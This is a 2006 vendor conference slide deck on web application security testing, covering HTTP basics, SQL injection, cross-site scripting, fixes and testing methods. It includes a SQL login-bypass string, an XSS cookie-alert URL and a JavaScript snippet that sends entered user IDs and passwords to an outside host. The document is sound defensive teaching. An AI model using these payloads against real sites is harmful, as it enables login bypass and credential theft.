T14 Thursday, May 18, 2006 1:30PM S ECURITY T ESTING : A RE Y OU A D - - PDF document

▶
t14
SMART_READER_LITE
LIVE PREVIEW

T14 Thursday, May 18, 2006 1:30PM S ECURITY T ESTING : A RE Y OU A D - - PDF document

Mar 14, 2023 167 likes •585 views

BIO PRESENTATION T14 Thursday, May 18, 2006 1:30PM S ECURITY T ESTING : A RE Y OU A D EER IN THE H EADLIGHTS ? Ryan English SPI Dynamics Inc International Conference On Software Testing Analysis and Review May 15-19, 2006 Orlando, Florida USA

slide-1
SLIDE 1

BIO PRESENTATION

International Conference On Software Testing Analysis and Review May 15-19, 2006 Orlando, Florida USA

T14

Thursday, May 18, 2006 1:30PM

SECURITY TESTING: ARE YOU A DEER IN THE HEADLIGHTS?

Ryan English SPI Dynamics Inc

slide-2
SLIDE 2

Ryan English

Ryan English is the group product manager for SPI Dynamics' QAInspect(tm) Quality Assurance Security testing product line, overseeing product strategy and direction for the company's five Quality Assurance products. Prior to joining SPI Dynamics, Ryan was responsible for product management at Live Oak Technologies, a quality assurance software company. In addition, Ryan was a project manager for the supply chain software company, VerticalNet, where he assisted in the strategic growth and development of their consulting division. Ryan has also led project management teams with MCI Worldcom and DayNine. Ryan is a seasoned speaker on the topic of security testing Web applications in QA and has spoken at several Quality Assurance industry events including Mercury World 2005.

slide-3
SLIDE 3

Do you feel Like a Deer in Headlights?

Ryan English SPI Dynamics

slide-4
SLIDE 4

Simple Web Site Architecture (1996)

slide-5
SLIDE 5

Complex Web Architecture (2006)

slide-6
SLIDE 6

Web Applications Breach the Perimeter

IIS SunOne Apache ASP .NET J2EE MS-SQL ORACLE DB2

HTTP/HTTPS

Corporate Inside Trusted Inside DMZ Internet

slide-7
SLIDE 7

Examples of Application Security Vulnerabilities

Platform Adm inistration

Application

Known Vulnerabilities BEA WebLogic IBM WebSphere Microsoft IIS

Platform

Backup Checking Common File Checks Data Extension Checking Directory Enumeration Extension Checking Forceful Browsing Hidden Web Paths Path Truncation

Adm inistration

Application Mapping Buffer Overflow Brute Force Cookie Manipulation Cookie Poisoning/ Theft Cross-site scripting Custom Application Scripting Parameter Manipulation Reverse Directory Transversal SQL Injection

Application

slide-8
SLIDE 8

Recent Application Security Attacks

slide-9
SLIDE 9

Design 1 X Development Unit Test 6.5X Testing Integration Testing System/Acceptance Testing 15X Deployment Customers In the Field 100X

slide-10
SLIDE 10

Implications of Application Security

35 major identity theft cases reported in first half of 2005 . Personal information of over 9.6 million individuals was stolen. Web application hacking was the most common method used.

  • IDC
slide-11
SLIDE 11

Value Proposition

  • Regulatory compliance policies like HIPAA. SOX,

PCI, and GLBA

  • Identify areas of your application vulnerable to

hacking, identity theft and phishing attack vulnerabilities

  • Reduce cost of outsourced or manual security testing
  • Big ROI with security testing during quality process -

Costs one-fifth as much to fix an application in QA then after deployment

slide-12
SLIDE 12
  • Client connects to the server
  • Client sends request to server
  • Server responds to client
  • Connection is disconnected

– HTTP is stateless Request Response Server w w w .m ybank.com ( 6 4 .5 8 .7 6 .2 3 0 ) Port: 8 0 Client PC ( 1 0 .1 .0 .1 2 3 )

How Do Web Applications Communicate?

Netw ork Layer

slide-13
SLIDE 13
  • SSL ( Secure Sockets Layer)

– Provided encryption of data between a client and server – Typically guarantees to client that server is who it asserts itself to be

Securing the Network Layer

SSL Tunnel Server w w w .m ybank.com ( 6 4 .5 8 .7 6 .2 3 0 ) Port: 4 4 3 Client PC ( 1 0 .1 .0 .1 2 3 )

slide-14
SLIDE 14

Securing the Network Layer

  • SSL
  • Firew alls

– Allows or disallows traffic to pass from the external network to the internal network – Acts as a “traffic cop” – Port 80 (HTTP) and port 443 (HTTPS) travel freely through the firewall

SSL Tunnel Server w w w .m ybank.com ( 6 4 .5 8 .7 6 .2 3 0 ) Port: 4 4 3 Client PC ( 1 0 .1 .0 .1 2 3 )

slide-15
SLIDE 15

Securing the Network Layer

  • SSL
  • Firew alls
  • I DS ( I ntrusion Detection System )

– Monitors network for malicious activities – Typically signature based detection (similar to virus protection) – Blind to encrypted (SSL) traffic

I DS SSL Tunnel Server w w w .m ybank.com ( 6 4 .5 8 .7 6 .2 3 0 ) Port: 4 4 3 Client PC ( 1 0 .1 .0 .1 2 3 )

slide-16
SLIDE 16

What is HTTP?

  • HTML Page

< a href= http: / / www.test.me> Click Here< / a>

  • Request
  • Response

GET / HTTP/ 1.1 Accept: * / * Accept-Language: en-us Accept-Encoding: identity User-Agent: Mozilla/ 4 .0 ( com patible; MSI E 6 .0 ; W indow s NT 5 .0 ; .NET CLR 1 .0 .3 7 0 5 ) Host: w w w .spidynam ics.com Connection: Keep-Alive HTTP/ 1 .1 2 0 0 OK Server: Microsoft-I I S/ 5 .0 Date: Mon, 07 Apr 2003 12: 52: 26 GMT Content-Length: 1 0 2 2 5 Content-Type: text/ htm l Cache-control: private Set-Cookie: ASPSESSI ONI DCSCRRCBS= GODPKFJDPJNMHGGJDOEI DDMK; path= / ; < html> < body>

Request Response Server Client PC

HTML Page

<a href=http://www.test.me>Click Here</a>

Request

GET / HTTP/ 1.1 Accept: * / * Accept-Language: en-us Accept-Encoding: identity User-Agent: Mozilla/ 4 .0 ( com patible; MSI E 6 .0 ; W indow s NT 5 .0 ; .NET CLR 1 .0 .3 7 0 5 ) Host: w w w .spidynam ics.com Connection: Keep-Alive

Response

HTTP/ 1 .1 2 0 0 OK Server: Microsoft-I I S/ 5 .0 Date: Mon, 07 Apr 2003 12: 52: 26 GMT Content-Length: 1 0 2 2 5 Content-Type: text/ htm l Cache-control: private Set-Cookie: ASPSESSI ONI DCSCRRCBS= GODPKFJDPJNMHGGJDOEI DDMK; path= / ; < html> < body>

slide-17
SLIDE 17

How Does Your Application Work?

  • GET – Simple query string based request
  • POST – Contains POST data in the body of the request

Netw ork HTTP W eb Application

slide-18
SLIDE 18

HTTP – GET With a Query String

  • HTML Page

<a href=http://www.test.me/banklogin.asp?serviceName=FreebankCaastAccess&ID=5 >Click Here</a>

  • Request
  • Response

GET / banklogin.asp?serviceNam e= FreebankCaastAccess&tem plateNam e= prod_ sel.forte&I D= 5 HTTP/ 1.1 Accept: * / * Accept-Language: en-us Accept-Encoding: identity User-Agent: Mozilla/ 4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705) Host: www.company.com Connection: Keep-Alive Cookie: ASPSESSI ONI DCQABRCAA= DKBNDFFCLDKNPGFDDFJCLBDN HTTP/ 1.1 200 OK Server: Microsoft-IIS/ 5.0 Date: Fri, 04 Apr 2003 15: 17: 50 GMT Content-Length: 4183 Content-Type: text/ html Cache-control: private Set-Cookie: sessionid= 2 5 ; path= / ; Set-Cookie: state= GA; path= / ; Set-Cookie: usernam e= MrUser; path= / ; Set-Cookie: userid= 1 5 3 8 ; path= / ; < HTML> < HEAD> < TITLE> < / TITLE> < / HEAD> < BODY>

HTML Page

<a href=http://www.test.me/banklogin.asp?serviceName=Freebank CaastAccess&ID=5 >Click Here</a>

Request

GET /banklogin.asp?serviceName=FreebankCaastAccess& templateName=prod_sel.forte&ID=5 HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: identity User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705) Host: www.company.com Connection: Keep-Alive Cookie: ASPSESSIONIDCQABRCAA=DKBNDFFCLDKNPGFDDFJCLBDN

Response

HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Fri, 04 Apr 2003 15:17:50 GMT Content-Length: 4183 Content-Type: text/html Cache-control: private Set-Cookie: sessionid=25; path=/; Set-Cookie: state=GA; path=/; Set-Cookie: username=MrUser; path=/; Set-Cookie: userid=1538; path=/; <HTML> <HEAD> <TITLE></TITLE> </HEAD> <BODY>

slide-19
SLIDE 19

HTTP – POST With POST Data

  • Form
  • Request
  • Response

< FORM ACTI ON= "login1 .asp" METHOD= “POST"> < br> Username:< I NPUT TYPE= "text" NAME= "login"> < BR> Password: < INPUT TYPE= "password" NAME= "password" > < BR> < INPUT TYPE= "submit"> < BR> < / FORM> POST / login1.asp HTTP/ 1.1 Accept: image/ gif, image/ x-xbitmap, image/ jpeg, image/ pjpeg, application/ vnd.ms-excel,* / * Referer: http: / / www.company.com/ banklogin.asp?serviceName= FreebankCaastAccess Accept-Language: en-us Content-Type: application/ x-www-form-urlencoded Accept-Encoding: identity User-Agent: Mozilla/ 4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705) Host: www.company.com Content-Length: 2 3 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSI ONI DCQABRCAA= DKBNDFFCLDKNPGFDDFJCLBDN; sessionid= 2 5 ; state= GA;…… login= John&passw ord= Doe HTTP/ 1.1 200 OK Server: Microsoft-IIS/ 5.0 Date: Fri, 04 Apr 2003 15: 35: 00 GMT Content-Length: 80 Content-Type: text/ html Cache-control: private < html> < body> Welcome John. … … … … ..< / body> < / html>

Form

<FORM ACTION="login1.asp" METHOD=“POST"><br> Username:<INPUT TYPE="text" NAME="login"><BR> Password:<INPUT TYPE="password" NAME="password" ><BR> <INPUT TYPE="submit"><BR> </FORM>

Request

POST /login1.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel,*/* Referer: http://www.company.com/banklogin.asp?serviceName=FreebankCaastAccess Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: identity User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705) Host: www.company.com Content-Length: 23 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDCQABRCAA=DKBNDFFCLDKNPGFDDFJCLBDN; sessionid=25; state=GA;…… login=John&password=Doe

Response

HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Fri, 04 Apr 2003 15:35:00 GMT Content-Length: 80 Content-Type: text/html Cache-control: private <html> <body> Welcome John. …………..</body></html>

slide-20
SLIDE 20

Real World Web Application Attacks

  • SQL I njection
  • Cross-Site Scripting ( XSS)
slide-21
SLIDE 21

Guess Settles with FTC over Cyber Security Snafu

  • Guess.com was open to an "SQL injection attack,

permitting anyone able to construct a properly-crafted URL to pull down every name, credit card number and expiration date in the site's customer database -- over 200,000 in all

  • "Consumers have every right to expect that a business

that says it's keeping personal information secure is doing exactly that," said Howard Beales, Director of the FTC's consumer protection bureau, in a press release.

slide-22
SLIDE 22

SQL Injection

SQL injection is a technique for exploiting Web applications that use client-supplied data in SQL queries without stripping potentially harmful characters first.

slide-23
SLIDE 23

SQL Injection – Simple Example

‘/ ‘/ Login SQL Statemet ‘/ SQLtemp = "SELECT * FROM Users " & _ "WHERE userID = '" & Request.form("username") & "' " & _ "and pass = '" & Request.Form("password") & "'" Set rs = Apples.Execute(SQLtemp) If not rs.eof then ‘/ Successful login!! …..

‘/ ‘/ Login SQL Statemet ‘/ SQLtemp = "SELECT * FROM Users " & _ "WHERE userID = '" & Request.form("username") & "' " & _ "and pass = '" & Request.Form("password") & "'" Set rs = Apples.Execute(SQLtemp) If not rs.eof then ‘/ Successful login!! …..

slide-24
SLIDE 24

SQL Injection – Simple Example

Return Response

SQL Example

slide-25
SLIDE 25

SQL Injection – Simple Example

  • What the hacker knows

– The Web page is creating a SQL statement that takes two parameters. – The parameters are both strings. – The parameters are, most likely, being passed to the database unfiltered.

  • The hacker can now guess that the SQL statement looks

something like this:

  • The hack can now start making educated guesses:

Select < something> from < sometable> where < fieldone> = ‘< user input one> ’ And < fieldtwo> = ‘< user input two> ’ Select < something> from < sometable> where < fieldone> = ‘' or 1= 1 or 'a' = '’ And < fieldtwo> = ‘' or 1= 1 or 'a' = '’

slide-26
SLIDE 26

SQL Injection – Simple Example

SQL Example

slide-27
SLIDE 27

SQL Injection – Solution

  • Use parameterized queries
  • Trap your errors!!! Don’t let the environment.
  • Use stored procedures
  • Validate user input
  • Turn off default error messages

cnn = new SqlConnection(… database connection information here… ); cmd = new SqlCommand("SELECT FirstName, LastName from Users “ + "WHERE UserName = @uid AND password = @passwd",cnn); cmd.Parameters.Add("@uid", SqlDbType.VarChar, 100).Value= uid; cmd.Parameters.Add("@passwd", SqlDbType.VarChar,100).Value = passwd; cnn.Open();

slide-28
SLIDE 28

Cross-Site Scripting (XSS) - Hotmail

Cross-site scripting (also know as XSS or CSS) occurs when dynamically generated web pages display input that is not property validated. Exam ple: Hotm ail, 2 0 0 1

  • Allowed an attacker to steal a user's Microsoft .NET Passport

session cookies

  • A user passes input in the form of a parameter to the Web

server

  • The Web server returns the user provided input back to the

user without proper encoding.

slide-29
SLIDE 29
slide-30
SLIDE 30
slide-31
SLIDE 31
slide-32
SLIDE 32
slide-33
SLIDE 33

http://www.freebank.com/banklogin.asp?err=Invalid%20Login:%20<script>alert(document.cookie)</script>

slide-34
SLIDE 34

Cross-Site Scripting (XSS)

< input type= text name= txtUserID … . < input type= text name= txtPassword… HTML var oImg = new Image;

  • Img.src = "http: / / www.test.me/ "

+ document.frmTest.txtUserID.value + "." + document.frmTest.txtPassword.value; XSS JavaScript Web Log … . 127.0.0.1 GET / test/ xss.asp 200 … . 127.0.0.1 GET / MyUserID.MyPassword 404 … . 127.0.0.1 GET / test/ xss.asp 200

slide-35
SLIDE 35

Cross-Site Scripting (XSS) - Solution

  • HTML Encode all data before it is RETURNED to a users web

browser. – Data that comes from a user – Data that comes from a database – Data that comes from any dynamic source

  • Server.HTMLEncode provides this functionality
  • Validate user input
slide-36
SLIDE 36

Ways To Test Your Application:

  • Manual Penetration Testing
  • Automated Penetration Testing (Dynamic)
  • Automated Source Code Analysis (Static)
slide-37
SLIDE 37

Manual Penetration Testing

  • Time consuming
  • Requires security expertise
  • Low false positives, but look out for

human error

slide-38
SLIDE 38

Automated Penetration Testing

  • Always update to date, a hacker in a box
  • Extremely thorough and fast
  • Highly accurate, but look for those false

positives

slide-39
SLIDE 39

Automated Source Code Analysis

  • Finds backdoors
  • Helps improve overall code quality
  • Vulnerabilities are inferred not verified
slide-40
SLIDE 40

Next Steps

  • Involve information security team
  • Evaluate products
  • Go after low hanging fruit
  • Develop process
  • Execute test
  • Manage security defects
slide-41
SLIDE 41

Questions?

Ryan English Product Manager SPI Dynamics renglish@spidynamics.com Phone: (678) 330-2682